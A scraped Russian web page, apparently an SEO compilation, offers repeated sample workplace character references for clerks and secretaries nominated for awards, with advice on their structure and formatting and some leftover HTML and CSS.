Характеристика делопроизводителя на награждение пример

Содержание

1 Характеристика делопроизводителя на награждение пример

Характеристика делопроизводителя на награждение пример

В должности секретаря руководителя Анна Ивановна работает с марта 2012года. Свои должностные полномочия исполняет профессионально и инициативно, за что в течение 2013 года дважды поощрялась руководством предприятия. Своевременно, качественно и в требуемом объеме осуществляет работу по организационно-техническому обеспечению административно-распорядительной деятельности руководителя предприятия. Эффективно взаимодействует с техническим персоналом офиса руководителя. Выполняет значительный объем работы по предварительному рассмотрению деловой корреспонденции, адресованной руководителю предприятия. Грамотно ведет офисное делопроизводство, используя для этого современные программно-технические средства. В установленные сроки и с высоким качеством готовит проекты документов и информационные материалы, необходимые для работы руководителя предприятия.

Характеристика делопроизводителя на награждение пример

Самостоятельно осваивает новые программно-технические средства обеспечения офисной деятельности. К выполнению своих должностных полномочий относится серьезно, званием секретаря руководителя гордится. Обладает высокой работоспособностью. Постоянно опрятна, аккуратна.

При внезапных изменениях в обстановке действует находчиво. В процессе подготовки решений проявляет компетентность. Методами коммуникации и обработки деловой информации, в том числе документированной, владеет уверенно.

Позитивная характеристика секретаря руководителя (примерный образец)

Критику в свой адрес воспринимает спокойно, имеющиеся недостатки устраняет в короткие сроки. Выводы: 1. Занимаемой должности соответствует. 2. По завершении курсов повышения квалификации достоин назначения на должность шеф-секретаря. Источники:http://obrazec.org Другие образцы характеристик

Характеристика на родителей ребенка образец
Характеристика со школы образец

21 апреля 2018 года Популярные образцы и шаблоны документов

Апелляционная жалоба по делу о расторжении договора дарения
Образец заявления о признании умершим.
Объявление гражданина умершим. Образец иска
Образец заявления о выдаче дубликата приказа хозяйственного суда
Новости Идёт загрузка… Алименты в Украине Что такое алименты, как они выплачиваются и взыскиваются. Какая существует ответственность по невыплате алиментов.

Вход на сайт

Принимает меры по обеспечению рабочего места руководителя предприятия всем необходимым, а также по созданию условий, способствующих его эффективной работе. Своевременно и правильно ведет регистрационно-контрольную картотеку и справочно-информационную базу данных офиса, обеспечивая надежную сохранность сведений от несанкционированного доступа. Активно участвует в подготовке и обеспечении приема посетителей.
Ответственно и добросовестно выполняет различные деловые поручения руководителя предприятия. Прочие должностные полномочия секретаря руководителя исполняет отлично. Настойчиво и результативно работает над совершенствованием личной профессиональной подготовки, регулярно овладевает новыми знаниями.
Успешно обучается на курсах повышения квалификации при Санкт-Петербургской высшей школе секретарей.

Пример характеристики для награждения почетной грамотой работника

Когда требуется характеристика Характеристика на сотрудника с места работы составляется в следующих ситуациях:

По личному волеизъявлению работника:
для разрешения конфликтов в семье;
для досудебных разбирательств;
по месту учебы;
для урегулирования споров с новым работодателем.

При поступлении запросов государственных структур:
из силовых ведомств;
из ГИБДД;
из суда.

По инициативе руководителя организации для проведения внутренних мероприятий:
подготовка аттестационных проверок;
награждений или премирований;
при подготовке вопроса о замещении должности;
при рассмотрении кандидатов на новую должность.

Составить характеристику можно на сотрудника как работающего в организации, так и уволившегося.

Характеристика на секретаря образец

Образец характеристики на руководителя организации

Они могут потребоваться при должностных перемещениях внутри компании, для вручения наград или поощрений, что должно быть правильно отражено в трудовой книжке. Если сотрудник достиг успехов в своей трудовой деятельности и ему положено поощрение, то характеристика, в первую очередь, должна отражать те качества человека, которые помогли ему достигнуть этой цели. В этих случаях составляется, как правило, положительная характеристика с места работы. Образец характеристики на работника для награждения почетной грамотой можно посмотреть ЗДЕСЬ. Для полиции Если человек подозревается в совершении правонарушения — административном или уголовном, для досудебного разбирательства запрашивается характеристика с места работы в полицию. Это делается для максимально объективного расследования органами МВД.

Образец характеристики секретаря

Характеристика на работника

Рекомендацию может создать как непосредственный руководитель награждаемого работника, так и сотрудник отдела кадров. Бывает так, что такое поручение получает сам претендент на награду. Подписи на оформленном бланке ставят руководители организации, генеральный директор, заверяется характеристика печатью данного предприятия.

Составить официальную характеристику для министерства даже проще, чем любую другую, поскольку для документов внешнего типа есть Государственный стандарт с унифицированными правилами оформления и готовыми необходимыми реквизитами. Это почти готовая характеристика для награждения почетной грамотой. Пример Учителя, например, характеризуют так. «Шапка» бланка уже готова, где указано, что документ предназначается для отправки в Минобрнауки РФ для того, чтобы наградить почётной грамотой министерства, например, Иванова Петра Сидоровича.

В зависимости от места предназначения этого документа, характеристики подразделяются на:
внешние;
внутренние.

Внешние готовятся для предоставления в адрес государственных структур согласно официальным запросам или по просьбе самого работника. В суд, в военный комиссариат, органы МВД, по месту учебы или прохождению практики направляются именно такие характеристики. Каких-либо принципиальных отличий в этих видах документов нет, и те и другие носят универсальный характер изложения, однако разнятся нюансами, учитывающими трудовые обязанности работника. К примеру, профессиональные требования, предъявляемые к работникам интеллектуального труда, не могут учитывать физические данные, например, лесоруба. Процедура составления и оформления Решение о том, как написать характеристику с места работы, принимает начальник предприятия или учреждения.

Трудовой путь (карьерный рост: овладение необходимыми трудовыми навыками, теоретическая подготовка, самообразование, которые помогли человеку достичь должности руководителя).
Достижения (внедрение инновация, руководство в проектах, повышение объемов производства и т.д.).
Повышения квалификации, дополнительные образования (насколько человек занимается постоянным развитием своего трудового потенциала, «идет в ногу со временем»).
Дополнительные профессиональные знания и навыки (знание трудового законодательства, нормативно-правовых актов, касающихся производственной деятельности, навыками мотивации персонала и прочее).

Социально-психологические данные о руководителе Кроме изложения деловых навыков, в образец характеристики на руководителя нужно включить социально-психологические данные, которые в дальнейшем войдут в сам документ.

Характеристика делопроизводителя на награждение пример

Вписать нужно только фамилию и имя с отчеством, год или полную дату рождения. Нужно сказать, что этот образец — характеристика для награждения почетной грамотой — пример, вполне годный для многих родственных профессий: библиотекаря, методиста, художника, музыканта и т.д. Далее следует строка, где должно быть отражено образование.

Например: высшее, окончен с отличием МГПУ в 1978 году по специальности физика с присвоением квалификации учителя средней школы. Общий стаж — тридцать один год. Педагогический — также тридцать один. Стаж работы в данном учреждении, например, двадцать пять лет.

Далее перечисляются научные труды и методические разработки, которые были созданы Ивановым Петром Сидоровичем за долгие годы работы. Их желательно указать по датам публикаций.

Образец характеристики на делопроизводителя доу для награждения грамотой

Характеристика делопроизводителя на награждение грамотой

Опубликовано , обновлено В должности секретаря руководителя — с марта 2009 г. Свои должностные обязанности исполняет профессионально и инициативно, за что в течение 2009 г. дважды поощрялся руководством предприятия.Своевременно, качественно и в требуемом объеме осуществляет работу по организационно-техническому обеспечению административно-распорядительной деятельности руководителя предприятия. Эффективно взаимодействует с техническим персоналом офиса руководителя.Выполняет значительный объем работы по предварительному рассмотрению деловой корреспонденции, адресованной руководителю предприятия.

Грамотно ведет офисное делопроизводство, используя современные программно-технические средства.

В установленные сроки и с высоким качеством готовит проекты документов и информационные материалы, необходимые для работы руководителя предприятия.Осуществляет действенный контроль за надлежащим рассмотрением

Характеристика на делопроизводителя

Единый квалификационный справочник должностей руководителей, специалистов и других служащих (ЕКС), 2020Квалификационный справочник должностей руководителей, специалистов и других служащихРазделы «Общеотраслевые квалификационные характеристики должностей работников, занятых на предприятиях, в учреждениях и организациях» и «Квалификационные характеристики должностей работников, занятых в научно-исследовательских учреждениях, конструкторских, технологических, проектных и изыскательских организациях», утвержденные Постановлением Минтруда РФ от 21.08.1998 N 37(редакция от 15.05.2013) Дежурный (по выдаче справок, залу, этажу гостиницы, комнате отдыха, общежитию и др.) Должностные обязанности.

Принимает и регистрирует корреспонденцию, направляет ее в структурные подразделения. В соответствии с резолюцией руководителей предприятия передает документы на исполнение, оформляет регистрационные карточки или создает банк данных.

Характеристика на награждение секретаря учебной части

В должности секретаря руководителя — с марта 2009 г.

Свои должностные обязанности исполняет профессионально и инициативно, за что в течение 2009 г. дважды поощрялся руководством предприятия.Своевременно, качественно и в требуемом объеме осуществляет работу по организационно-техническому обеспечению административно-распорядительной деятельности руководителя предприятия. Эффективно взаимодействует с техническим персоналом офиса руководителя.Выполняет значительный объем работы по предварительному рассмотрению деловой корреспонденции, адресованной руководителю предприятия.

Грамотно ведет офисное делопроизводство, используя современные программно-технические средства. В установленные сроки и с высоким качеством готовит проекты документов и информационные материалы, необходимые для работы руководителя предприятия.Осуществляет действенный контроль за надлежащим рассмотрением и представлением

Как правильно составить характеристику на делопроизводителя — подробный разбор всех нюансов

> > > Характеристика на делопроизводителя позволяет описать в полной мере работу и квалификацию сотрудника, что находится на должности.

Она может выступать в роли дополнительного документа при собеседовании на новую работу и помочь работодателю лучше оценить профессиональные навыки кандидата.

Также указывает то, как человек действовал при ЧС в фирме и как хорошо общался с коллегами.Важно, чтобы информация в характеристике была конкретной и рассматривала только деятельность работника внутри организации.Она

Характеристика на делопроизводителя для награждения грамотой

В должности секретаря руководителя — с марта 2009 г.

Эффективно взаимодействует с техническим персоналом офиса руководителя.Выполняет значительный объем работы по предварительному рассмотрению деловой корреспонденции, адресованной руководителю предприятия.

Характеристика делопроизводителя на награждение пример

Своевременно, качественно и в требуемом объеме осуществляет работу по организационно-техническому обеспечению административно-распорядительной деятельности руководителя предприятия.

Самостоятельно осваивает новые программно-технические средства обеспечения офисной деятельности.

Характеристика секретаря делопроизводителя

Содержание

Характеристика при поощрении
- Образец характеристики с места работы на рабочего, которого планируют наградить Почетной грамотой
- Образец характеристики на работника для получения им госнаграды
Составные элементы бланка документа
Образец характеристики на руководителя для награждения
Требования к оформлению документа
Образец характеристики для суда
Образец характеристики с места работы на рабочего, которого планируют наградить Почетной грамотой
ОРЕНБУРГСКАЯ ОБЛАСТЬ
Характеристика на награждение почетной грамотой учителя
Виды характеристик на сотрудника
В каких случаях необходима характеристика
Характеристика на работника
Образец характеристики на работника для получения им госнаграды
Служебная характеристика
Образец характеристики на руководителя организации
- ОРЕНБУРГСКАЯ ОБЛАСТЬ
Общие правила составления текста
Как наградить директора?
Что такое характеристика для награждения работника
Что такое характеристика для награждения почетной грамотой Министерства?
- Составные элементы бланка документа
- Пример характеристики для награждения Почетной грамотой Министерства образования
  - - ОРЕНБУРГСКАЯ ОБЛАСТЬ
- Образец характеристики для награждения почетной грамотой губернатора
- Образец характеристики на руководителя для награждения
Особенность характеристики на завхоза
Образец характеристики для награждения почетной грамотой губернатора
Характеристика
Пример характеристики для награждения работника
- Характеристика
Пример характеристики для награждения Почетной грамотой Министерства образования
- - ОРЕНБУРГСКАЯ ОБЛАСТЬ
Характеристика делопроизводителя на награждение пример
Примеры положительной и отрицательной характеристики
Кем и как пишется характеристика на работника
- Виды характеристик на сотрудника
- Общие правила составления текста
- Требования к оформлению документа
Характеристика в суд
- Образец характеристики для суда
Образец характеристики секретаря

Характеристика делопроизводителя на награждение пример

Осуществляет действенный контроль за надлежащим рассмотрением и представлением структурными подразделениями и должностными лицами документов, поступивших на исполнение, а также за исполнением работниками ранее изданных приказов (распоряжений) и соблюдением сроков выполнения указаний и поручений руководителя предприятия, взятых на контроль. Обеспечивает правильность оформления подготовленных проектов документов, передаваемых руководителю на подпись, а в необходимых случаях — качественное редактирование их содержания. Оперативно и безошибочно передает и принимает информацию, предназначенную для руководителя предприятия, по техническим средствам коммуникации.

Работу по подготовке и обеспечению протокольных мероприятий выполняет в точном соответствии с регламентом и поручениями руководителя предприятия.

Характеристика делопроизводителя на награждение пример

— — В системе образования практически ничем не будет отличаться любая характеристика для награждения почетной грамотой.

Сотрудник, которого решено представить к награждению, уже достиг видимых успехов в течение трудовой деятельности, которые характеристика отражает во всех подробностях.

Если представление сотрудника планируется к награде государственной, тогда необходим пример характеристики для награждения почетной грамотой внешнего вида.

Пример характеристики для награждения

Как правило, производственная характеристика на работника, образец заполнения которой вы найдете ниже, необходима для предоставления на новом месте службы, где о качествах сотрудника ничего не знают, потому нуждаются в информации извне, могущей облегчить приобщение его к новому коллективу.

Также составление документа может потребоваться при переводе сотрудника на новую должность, предоставлении нового звания, либо наоборот лишении такового, поощрении и понижении.

В зависимости от соответствия сотрудника занимаемой должности, качества выполняемой им работы, а также отношения к своим обязанностям, составленный документ может положительно, отрицательно, либо нейтрально характеризовать работника. Существует определенный шаблон характеристики на работника, который мы рассмотрим ниже. Прежде всего, следует разобраться в терминологии понятия.

Характеристика — это письменный документ, необходимый для выделения и подчеркивания служебных и личностных особенностей конкретного сотрудника.

Образец характеристики с места работы

25 Июня 2020 в 13:21 Характеристика с места работы — документ, дающий объективную оценку деловым и личностным качествам работника. Если сотрудник принес письменный запрос о выдаче ему такого документа — необходимо подготовить его в течение трех рабочих дней (ст.

62 ТК РФ). Это правило распространяется и на бывших сотрудников, вне зависимости от того, как давно он уволился (см., например, Определение Московского городского суда от 08.09.2011 по делу № 33-28750).

Связанные статьи Оглавление Если вы обнаружили в тексте ошибку, сообщите нам об этом, выделив ее и нажав Ctrl+Enter Просьба подготовить характеристику на работника чаще всего адресуется специалистам отдела кадров:

государственными органами;
руководителем организации.
самим сотрудником;

В первом и втором случаях готовая характеристика с места работы нужна для предъявления

Характеристика на документоведа для награждения

Для каждого современного руководителя является актуальным знание того, как правильно написать характеристику на работника. Этот документ содержит в себе объективную оценку руководителем организации как положительных, так и отрицательных характеристик трудовых и личностных качеств подчиненного, степень его профессионализма, предрасположенности к конфликтам, и т.д.

Как правильно составить характеристику на делопроизводителя — подробный разбор всех нюансов

Характеристика на делопроизводителя позволяет описать в полной мере работу и квалификацию сотрудника, что находится на должности. Подробнее о том, что она собой представляет, какие требования необходимо соблюсти и на что нужно обратить внимание далее в статье.

Что такое характеристика

Характеристика представляет собой отзыв работодателя о сотруднике, в который включены все профессиональные навыки последнего. Она может выступать в роли дополнительного документа при собеседовании на новую работу и помочь работодателю лучше оценить профессиональные навыки кандидата.

Также указывает то, как человек действовал при ЧС в фирме и как хорошо общался с коллегами.

Важно, чтобы информация в характеристике была конкретной и рассматривала только деятельность работника внутри организации.

Когда необходим документ

Она необходима в нескольких случаях, вот лишь некоторые из них:

трудоустройство
оформление займа в банке
судебное разбирательство
исполнение требований правоохранительных или иных государственных органов

Именно поэтому вся информация должна быть представлена максимально конкретизировано.

Общие правила составления

Законодательство никак не определяет общие правила составления этого документа — оно допускает его составление в свободной форме. Тем не менее, в рамках делового этикета сложилась определенная структура, которую следует соблюдать:

Информация о сотруднике: указываются все сведения по типу ФИО, гражданства, семейного положения и т.д.
Сведения о работе: первоочередно указывается стаж работы и даты окончания и ее начала в фирме. После необходимо добавить все навыки, что использовал сотрудник при исполнении обязанностей, а в случае наличия специальных курсов подготовки — указать их. Необходимо также указать все награды, что были получены сотрудником либо в рамках фирмы, либо в рамках иных соревнований.
Личностные качества: должны быть описаны сильные и слабые стороны характера сотрудника — подчеркнута его индивидуальность и то, как она способствует эффективности работы. Если он занимал руководящую должность, то в характеристике должно быть отражено наличие или отсутствие управленческих навыков. Если задачи сотрудника подразумевают исключительную исполнительность — отметить то, насколько корректно выполняются ежедневные, монотонные задачи и т.д. Финальной частью этого пункта становятся отношения с коллегами. Работодатель должен указать на коммуникационные навыки сотрудника.
Реквизиты: необходимо указать компанию, ФИО составившего характеристику и т.д. Документ обязательно должен содержать дату и подпись руководства.

Наличие правильной структуры характеристики также подчеркнет профессионализм работодателя.

Требования к оформлению

При составлении документа необходимо его грамотно оформить. И если учитывать, что содержание допускается в свободной форме, то в случае оформления стоит опираться на ГОСТ. Он содержит в себе единые нормы для всех документов на территории РФ: шрифт, пунктуацию и т.д.

Видео с правилами составления характеристики:

Виды характеристик на сотрудника</span></h2> <p style="clear: both">Существует всего два основных вида характеристики (таблица 1).<noscript></noscript></p> <p><strong>Наименование</strong></p> <p><strong>Описание</strong></p> <p>Предоставляется в соответствии с запросами иных организаций: новое место работы сотрудника, правоохранительные и иные органы и т.д. Однако здесь необходимо разрешение и подпись сотрудника, так как впоследствии будут разглашены его персональные данные.</p> <p>Составляется тогда, когда документ необходимо использовать внутри фирмы. Зачастую это случаи дисциплинарного взыскания или повышения в должности.</p> <p>Составляются они также по надобности и оформляются в соответствии с общепринятыми требованиям ГОСТа.</p> <h2><span id="i-31">Особенности характеристики для награждения</span></h2> <p>Теперь рассмотрим частные случаи составления характеристики. Такие ситуации являются лишь исключением, а не стандартным порядком, при котором необходим этот документ.</p> <h2><span id="i-32">При увольнении</span></h2> <p style="clear: both"><noscript></noscript>Она требуется в том случае, когда сотрудника увольняют с текущего места работы и устраивается на новое. Ключевой нюанс здесь заключается в том, что зачастую такая характеристика может быть негативной. Именно поэтому работодатель должен составить ее как можно более объективно, несмотря на отсутствии квалификации конкретного работника.</p> <h2><span id="i-33">Для полиции, суда, военкомата</span></h2> <p>В случае, когда характеристику требует полиция или суд — это значит, что она необходима им для объективного расследования. Правоохранительные и судебные органы хотят знать о личностных качествах как можно больше: нарушает ли он трудовую дисциплину, имеет ли вредные привычки и т.д. Все это выступает важнейшими факторами при расследовании.</p> <p style="clear: both"><noscript></noscript>Если же характеристику требует военкомат, то им интересно как человек проявляет себя в коллективе и есть ли у него способности к адаптации в трудной среде. На основании этого выносится психологическое заключение.</p> <h2><span id="i-34">Рабочих специальностей</span></h2> <p>Рабочие специальности по типу строителя, повара или кладовщика подразумевают наличие определенных качеств: стрессоустойчивость, исполнительность и т.д. В то же время люди, основная деятельность которых творчество, не нуждаются в подобных навыках. Главные их характеристики заключаются в обучаемости, креативности и мобильности при работе.</p> <h2><span id="i-35">При повышении</span></h2> <p style="clear: both"><noscript></noscript>Внутренняя характеристика обязательна при повышении или получении наград. Таким образом, руководство может беспристрастно рассматривать несколько кандидатов, на каждого из которых есть объективная характеристика. Такой документ имеет особый приоритет в случаях, когда для повышения необходимы не только профессиональные, но и личностные навыки — например руководящая должность. При наличии десяти профессионально пригодных сотрудников кандидатами станут только семь из них — у тех, кто обладает лидерскими качествами и т.д.</p> <h2><span id="i-36">При аттестации</span></h2> <p>В случае аттестации это также необходимый фактор, позволяющий определить ложь сотрудника о его навыках или личностных качествах. Человек, в работе которого не было замечено проявление специфических умений не может подтвердить свою аттестацию или хорошо знать предоставленную ему область деятельности.</p> <h2><span id="i-37">На что обратить особое внимание</span></h2> <p>При составлении характеристики всегда нужно помнить о ряде нюансов:</p> <p style="clear: both"> <ul> <li><noscript></noscript>нельзя разглашать персональную информацию человека без его на то согласия</li> <li>характеристика не может содержать в себе информации, что не относится к рабочим навыкам: религиозные и политические предпочтения, имущественные сведения и т.д.</li> <li>обязательное соблюдение делового этикета: в документе не должно быть эмоционального окраса и оскорблений сотрудника</li> </ul> <p>Сотрудник, что получил ее, всегда может обратиться в суд за компенсацией.</p> <h2><span id="i-38">Пример характеристики на делопроизводителя</span></h2> <p>Рассмотрим пример характеристики:</p> <p>А.А. Иванова квалифицирована в области делопроизводства и отлично выполняет свои должностные обязанности. Она способна самостоятельно обучаться и не терять при этом работоспособность. Хорошо ладит с коллективом и ответственно относится к должностным обязанностям.</p> <p>При непредвиденных обстоятельствах берет на себя инициативу и действует оперативно. Проявляет практические навыки при подготовке к рабочим задачам и их исполнении: коммуникация с коллегами, обработка информации и владение нормативными актами.</p> <p style="clear: both">Итог: соответствует занимаемой должности, грамотно принимая критику к работе.<noscript></noscript></p> <blockquote> <p>Работодатель волен вносить в этот документ все, что посчитает нужным. Однако вся информация должна быть достоверной и обоснованной.</p> </blockquote> <p>Знание подробностей о характеристике позволяет лучше понимать то, для чего она создана, а также грамотнее формировать ее содержание. Однако такой документ не всегда является положительным. В случае если в квалификации работника присутствуют значительные пробелы — работодатель отразит это в характеристике.</p> <p>Заметили ошибку? Выделите ее и нажмите <em>Ctrl+Enter</em>, чтобы сообщить нам.</p> <h2><span id="i-39">Характеристика для награждения работника</span></h2> <p>Поощрения в профессиональной и трудовой сфере предполагают составление такого документа, как характеристика для награждения работника. Это не совсем характеристика с места работы, которая применяется для предъявления в государственные органы и организации или для перевода. При составлении документа для награждения работника необходимо учитывать: уровень награды (государственная, муниципальная, ведомственная, локальная от организации и т.п.), наличие или отсутствие соответствующих требований по представлению документов к награждению.</p> <p>Поскольку универсальный образец характеристики для награждения работника привести затруднительно с учетом существования различных уровней наград и за различные достижения в профессиональной деятельности, размещенный ниже пример можно адаптировать под конкретную ситуацию. А при возникновении дополнительных вопросов Вы всегда можете задать вопрос дежурному юристу нашего сайта.</p> <p style="clear: both"> <noscript></noscript><strong>Характеристика для награждения работника</strong></p> <h2><span id="i-40">Пример характеристики для награждения работника</span></h2> <h3><span id="i-41">Характеристика</span></h3> <p>Черепова Константина Анатольевича, 23 марта 1962 года рождения, образование высшее,</p> <p>главного энергетика ЗАО «Новосибирский машиностроительный завод»</p> <p>Черепов Константин Анатольевич начал трудовую деятельность на Новосибирском металлургическом заводе в 1984 году после окончания Новосибирского технического университета по специальности «электроснабжение», факультет промышленной энергетики, прошел путь от инженера энергобюро завода до начальника группы электротехнического измерения. Принят на работу в ЗАО «Новосибирский машиностроительный завод» в 2002 году в должность начальника энергетического цеха, с 2010 года состоит в должности главного энергетика ЗАО.</p> <p>За период трудовой деятельности на предприятии Черепов Константин Анатольевич зарекомендовал себя квалифицированным специалистом, высоким профессионалом, инициативным и обладающим высокими организаторскими способностями руководителем.</p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://dosaaf68.ru/prochee/st-179-tk-rf-s-kommentariyami-2017-uvolnenie-sotrudnikov" target="_self" class="u24885c2e424f248b17cbc81304658799"><style> .u24885c2e424f248b17cbc81304658799 , .u24885c2e424f248b17cbc81304658799 .postImageUrl , .u24885c2e424f248b17cbc81304658799 .centered-text-area { min-height: 80px; position: relative; } .u24885c2e424f248b17cbc81304658799 , .u24885c2e424f248b17cbc81304658799:hover , .u24885c2e424f248b17cbc81304658799:visited , .u24885c2e424f248b17cbc81304658799:active { border:0!important; } .u24885c2e424f248b17cbc81304658799 .clearfix:after { content: ""; display: table; clear: both; } .u24885c2e424f248b17cbc81304658799 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #1ABC9C; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); } .u24885c2e424f248b17cbc81304658799:active , .u24885c2e424f248b17cbc81304658799:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #16A085; } .u24885c2e424f248b17cbc81304658799 .centered-text-area { width: 100%; position: relative; } .u24885c2e424f248b17cbc81304658799 .ctaText { border-bottom: 0 solid #fff; color: #FFFFFF; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u24885c2e424f248b17cbc81304658799 .postTitle { color: #2C3E50; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u24885c2e424f248b17cbc81304658799 .ctaButton { background-color: #16A085!important; color: #FFFFFF; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://dosaaf68.ru/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u24885c2e424f248b17cbc81304658799:hover .ctaButton { background-color: #1ABC9C!important; } .u24885c2e424f248b17cbc81304658799 .centered-text { display: table; height: 80px; padding-left: 18px; top: 0; } .u24885c2e424f248b17cbc81304658799 .u24885c2e424f248b17cbc81304658799-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u24885c2e424f248b17cbc81304658799:after { content: ""; display: block; clear: both; } </style><div class="centered-text-area"><div class="centered-text" style="float: left;"><div class="u24885c2e424f248b17cbc81304658799-content"><span class="ctaText">Читайте также:</span>  <span class="postTitle">Ст 179 тк рф с комментариями 2017 увольнение сотрудников</span></div></div></div><div class="ctaButton"></div></a></div><p>Черепов Константин Анатольевич является инициатором разработки и внедрения на предприятии ряда технических инноваций в вверенной сфере деятельности, в том числе по введению альтернативных источников энергетики в промышленности. Это позволило снизить себестоимость производимой продукции, что позволило предприятию конкурировать с зарубежными поставщиками, участвовать в государственных и муниципальных закупках.</p> <p>За годы трудовой деятельности неоднократно направлялся на курсы повышения квалификации по специальности «электроснабжение», стремится к самостоятельному повышению своего профессионального и управленческого уровень. В период работы на предприятии получил второе высшее образование по специальности «Управление персоналом». Его отличают высокая работоспособность, неконфликтность, стрессоустойчивость. В отделе главного энергетика под его руководством сформирован стабильный коллектив, атмосфера в котором отличается инициативностью и трудолюбием. Лично контролирует безопасность условий труда.</p> <p>За время работы Черепов Константин Анатольевич неоднократно поощрялся ведомственными и муниципальными грамотами, в том числе награжден Почетной грамотой Департамента экономического развития города Новосибирска, благодарностями генерального директора ЗАО «Новосибирский машиностроительный завод».</p> <p>Генеральный директор ЗАО «Новосибирский машиностроительный завод»</p> <p>30 апреля 2017 года</p> <h2><span id="i-42">Что такое характеристика для награждения работника</span></h2> <p>Сразу оговоримся, что рассматриваемый документ не является представлением к награде. То есть характеристика лишь сопровождает письменную позицию руководства о необходимости поощрения работника за профессиональный вклад в развитие своего дела. Поэтому включать в характеристику формулировки – достоин к награждению или т.п. – бессмысленно.</p> <p>Характеристика для награждения работника – это документ оценочный. В нем описываются профессиональные достижения, трудовая деятельность, деловые и личные качества. Для руководителей в документе важно отразить наличие сплоченного и стабильного коллектива, управленческие и организаторские способности.</p> <p>Несмотря на оценочный характер, характеристика для награждения работника – документ официальный. В ней должны быть отражены заслуги работника перед предприятием, организацией, которые являются основанием для поощрения. Оформляется документ в письменной форме официально-деловым стилем (должны отсутствовать неточности, двусмысленность, исправления, речевые повторы и и.п.).</p> <h2><span id="i-43">Структура характеристики для награждения работника</span></h2> <p>Для удобства в применении мы предлагаем следующий алгоритм заполнения характеристики для награждения:</p> <ol> <li>Наименование «характеристика», Ф.И.О., год рождения, образование, должность</li> <li>Сведения об общей трудовой деятельности, стаж работы на предприятии, «движение» по службе</li> <li>Оценка деловых и личных качеств, вклад в деятельность предприятия и отдела, конкретные заслуги, результаты (примеры), конкретные количественные показатели работы</li> <li>Взаимоотношения в коллективе и руководстве</li> <li>Сведения о имеющихся наградах, поощрениях</li> </ol> <p>Подписан документ должен быть руководителем предприятия. Если награда предполагает локальный характер, то непосредственным руководителем. Характеристика для награждения работника должна быть заверена печатью организации.</p> <p>Уточняющие вопросы по теме</p> <p>Как написать представление на отличника банка?</p> <p>Обычно в представлении о награждении указываются следующие данные: ФИО работника, структурное подразделение, занимаемая должность, образование, общий стаж работы в данной организации и в занимаемой должности, характеристика личных и деловых качеств работника, основание для его награждения и форма награждения.</p> <h2><span id="____6">Руководство по составлению характеристики на сотрудника для награждения: 6 ключевых моментов</span></h2> <p style="clear: both"><noscript></noscript></p> <p>Процедура награждения специалиста знаком отличия связана с подготовкой определённых документов. Среди них важное место занимает характеристика для представления работника к награждению. Итак, как правильно составить характеристику на сотрудника для награждения почетной грамотой?</p> <h2><span id="i-44">Что такое характеристика для награждения почетной грамотой?</span></h2> <p style="clear: both"><noscript></noscript></p> <p><strong>Руководство по самостоятельному расчету рентабельности предприятия с примерами – здесь.</strong></p> <h3><span id="i-45">Виды характеристик на сотрудника</span></h3> <p>При необходимости отметить работника в пределах ведомства, города, составляется <strong>внутренняя характеристика</strong> на сотрудника для награждения почетной грамотой. Способ записи свободный, но с учётом специфических требований к языку, структуре и порядку изложения мыслей.</p> <p style="clear: both"><noscript></noscript></p> <p>По форме и содержанию обе характеристики – это <strong>служебные рекомендательные письма позитивного свойства.</strong></p> <p><strong>Что представляет собой положительная характеристика с места работы и как ее правильно составить, вы можете узнать по ссылке.</strong></p> <p style="clear: both"><noscript></noscript>Образец правильного оформления характеристики.</p> <h2><span id="i-46">Характеристика для награждения почетной грамотой: образец и порядок составления</span></h2> <blockquote> <p>Единого образца создания наградного документа нет. Исполнитель руководствуется общими правилами написания, требованиями к оформлению деловой бумаги.</p> </blockquote> <h3><span id="i-47">Общие правила составления текста</span></h3> <ol> <li>Текст пишется в официально–деловом стиле речи. Содержание излагается кратко, точно, последовательно.</li> <li>Информация сообщается в настоящем, прошедшем времени от третьего лица.</li> <li><strong>В характеристике указываются:</strong></li> </ol> <ul> <li>название документа,</li> <li>анкетные сведения о сотруднике,</li> <li>оценка профессиональной или служебной деятельности,</li> <li>описание деловых и моральных качеств человека,</li> <li>цель написания документа, его назначение,</li> <li>дата оформления,</li> <li>фамилия, инициалы должностных лиц, завизировавших документ.</li> </ul> <p><strong>Как правильно сшивать документы? Пошаговая инструкция с фото содержится в нашей новой статье по ссылке.</strong></p> <h3><span id="i-48">Требования к оформлению документа</span></h3> <ol> <li>Характеристика изготавливается на бумаге формата А4, фирменном бланке.</li> <li>Создаёт рекомендацию руководитель низшего ранга, хорошо знающий работника. Возможно написание текста сотрудником кадровой службы, самим претендентом на награду.</li> <li>Документ подписывают исполнитель заказа, руководитель организации или только директор. Заверяют печатью предприятия.</li> </ol> <p><b>Образец характеристики для награждения почетной грамотой, вы можете скачать по этой ссылке.</b></p> <p><strong>Пример характеристики для награждения почетной грамотой:</strong></p> <p style="clear: both"> <noscript></noscript>Пример наградной характеристики.</p> <h2><span id="i-49">Что такое характеристика для награждения почетной грамотой Министерства?</span></h2> <p style="clear: both"><noscript></noscript></p> <p>Он создаётся <strong>на основании Государственного стандарта Р 6.30-2003</strong>, в котором даны унифицированные правила составления документов. На бланке формата А 4 указываются необходимые реквизиты.</p> <p><strong>Как оформить кредит на открытие малого бизнеса с нуля и что для этого необходимо сделать – читайте по ссылке.</strong></p> <p style="clear: both"><noscript></noscript>Образец неправильного оформления характеристики.</p> <h3><span id="i-50">Составные элементы бланка документа</span></h3> <ol> <li>Справка об организации, выдавшей характеристику:почтовый, электронный адрес, номер телефона и другое.</li> <li>Название документа заглавными буквами, включающее краткое содержание характеристики.</li> <li>Исходящий номер, дата подписи.</li> 